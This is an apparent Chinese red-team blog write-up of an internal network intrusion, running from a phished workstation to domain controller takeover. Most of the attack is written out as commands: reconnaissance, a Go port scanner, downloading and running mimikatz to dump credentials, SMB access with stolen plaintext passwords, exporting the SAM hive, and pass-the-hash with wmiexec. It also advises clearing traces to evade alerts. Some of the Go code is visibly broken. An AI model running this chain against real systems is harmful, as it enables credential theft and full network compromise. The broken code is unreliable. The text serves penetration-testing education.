一、渗透起点:从一台普通员工的电脑说起

有一次在一次授权的红队演习中,我的目标是一家中型企业,他们的核心资产是一个用于处理客户敏感数据的内网系统。通过之前的信息收集,我在一次精准钓鱼攻击中成功获取了一位普通员工的机器权限,拿到了他的 Windows 主机的控制权。这台机器并没有直接连接到核心业务系统,但它是我的跳板。

目标明确:从这台普通员工的电脑出发,逐步横向移动到企业的核心数据系统。接下来的流程,将展示我在这次演习中的完整攻击链,请注意,本文内容仅限授权安全测试和学习用途,切勿用于非法用途。

黑客示意图

---

二、局域网的“侦查艺术”

就像一位潜入敌营的间谍,第一步是了解周围的环境。在这台普通员工的电脑上,我需要尽快摸清内网的基本结构,比如有哪些机器、用户分布、权限配置等。

1. 获取本地环境信息

我先用一些基本命令对本地环境做了一个快速摸底:

<pre><code class="language-shell"># 查看主机的 IP 和网段信息 ipconfig

查看当前登录用户和主机名

whoami /all hostname

检查已经连接的远程共享

net use

发现其他机器的 ARP 缓存,可能透露内网其他设备的 IP

arp -a</code></pre>

这些命令让我知道了几个关键点:

  • 这台主机的 IP 是 192.168.1.100,网段是 192.168.1.0/24
  • 用户是一个普通员工,权限不高。
  • 在 ARP 缓存中发现了一些其他设备的 IP,比如 192.168.1.101 和 192.168.1.102。

2. 扫描内网的潜在目标

接下来,我使用了一个自写的快速端口扫描工具,用它来探测内网中有哪些主机在线,以及它们开放了哪些服务。以下是我的工具代码(用 Go 实现):

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net&quot; &quot;sync&quot; &quot;time&quot; )

func scanPort(host string, port int, wg sync.WaitGroup) { defer wg.Done() address := fmt.Sprintf(&quot;%s:%d&quot;, host, port) conn, err := net.DialTimeout(&quot;tcp&quot;, address, time.Second1) if err != nil { return } conn.Close() fmt.Printf(&quot;[+] Found open port: %s:%d\n&quot;, host, port) }

func main() { var wg sync.WaitGroup host := &quot;192.168.1.0/24&quot; // 替换为你的网段 ports := []int{22, 80, 135, 139, 445, 3389} // 常见的服务端口

// 遍历 1-254 的 IP 地址 for i := 1; i &lt;= 254; i++ { target := fmt.Sprintf(&quot;192.168.1.%d&quot;, i) for _, port := range ports { wg.Add(1) go scanPort(target, port, &amp;wg) } } wg.Wait() }</code></pre>

通过这段代码,我发现了几台有趣的机器:

  • 192.168.1.101:开放了 445(SMB)和 3389(RDP)。
  • 192.168.1.102:开放了 80(HTTP)和 443(HTTPS)。
  • 192.168.1.105:开放了 135 和 139(通常是 Windows RPC 和 NetBIOS)。

这些信息让我得以确定目标机器的优先级,锁定了一台可能是文件服务器的机器(192.168.1.101),以及一台运行 Web 应用的服务器(192.168.1.102)。

---

三、利用 SMB:突破第一道门

1. 凭证搜集:寻找突破口

在普通员工的这台主机上,我通过搜索本地的文件系统和内存,试图找到存储的凭证。

(1) 内存中的凭证

我用 PowerShell 执行了以下命令,尝试转储机器中的密码:

<pre><code class="language-powershell"># 使用 mimikatz 抓取凭证信息 Invoke-WebRequest -Uri &quot;http://192.168.1.200/mimikatz.exe&quot; -OutFile &quot;C:\Temp\mimikatz.exe&quot; .\mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonpasswords&quot;</code></pre>

幸运的是,我找到了一个域账户的明文密码:[email protected] / Pa$$w0rd123!

(2) 本地缓存的凭证

此外,我还在用户的桌面上找到了一个文件 passwords.txt,里面存储了一些共享文件夹的访问密码。

2. SMB 横向移动:登录文件服务器

拿到域用户凭证后,我尝试利用 SMB 服务访问目标服务器 192.168.1.101。

<pre><code class="language-shell"># 使用获取的用户名和密码挂载共享目录 net use \\192.168.1.101\C$ /user:domain\john.doe Pa$$w0rd123!

查看共享目录的内容

dir \\192.168.1.101\C$</code></pre>

成功挂载共享目录后,我发现了一些包含敏感信息的文件,比如管理员的脚本文件和配置文件。

---

四、内网提权:获取域管理员权限

1. 抓取哈希:绕过明文密码

在文件服务器上,我用以下命令提取了 SAM 文件,以便离线破解哈希:

黑客示意图

<pre><code class="language-shell"># 导出 SAM 和 SYSTEM 文件 reg save HKLM\SAM C:\Temp\SAM reg save HKLM\SYSTEM C:\Temp\SYSTEM

通过 mimikatz 提取 NTLM 哈希

mimikatz &quot;lsadump::sam /system:C:\Temp\SYSTEM /sam:C:\Temp\SAM&quot;</code></pre>

2. 利用 Pass-the-Hash:直接横向移动

有了 NTLM 哈希后,我可以直接通过 Pass-the-Hash 攻击访问其他机器,而无需知道明文密码。使用 impacket 的 wmiexec.py 工具,我成功登录了域控制器。

<pre><code class="language-shell">python3 wmiexec.py domain.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:5d41402abc4b2a76b9719d911017c592</code></pre>

---

黑客示意图

五、摧毁核心堡垒:夺取主域控制器

在拿下域控制器后,我就可以随意查询整个企业的用户、组、权限分布,并最终控制所有核心系统。以下是如何列出域管理员的方法:

<pre><code class="language-powershell"># 列出所有域管理员 Get-ADGroupMember -Identity &quot;Domain Admins&quot;</code></pre>

---

六、经验分享:横向移动的关键

  1. 信息收集是基石:只有先了解内网结构,才能制定精准的攻击计划。
  2. 多工具结合使用:如 Go 编写的扫描器、PowerShell 命令、mimikatz 等。
  3. 保持隐匿性:每次横向移动时都要注意清理痕迹,避免触发告警。

黑客示意图

这次内网渗透的核心难点在于如何从普通权限逐步提升到域管理员权限,并且尽量规避防御系统的检测。总之,红队实战是门艺术,既需要技术深度,也需要策略与耐心。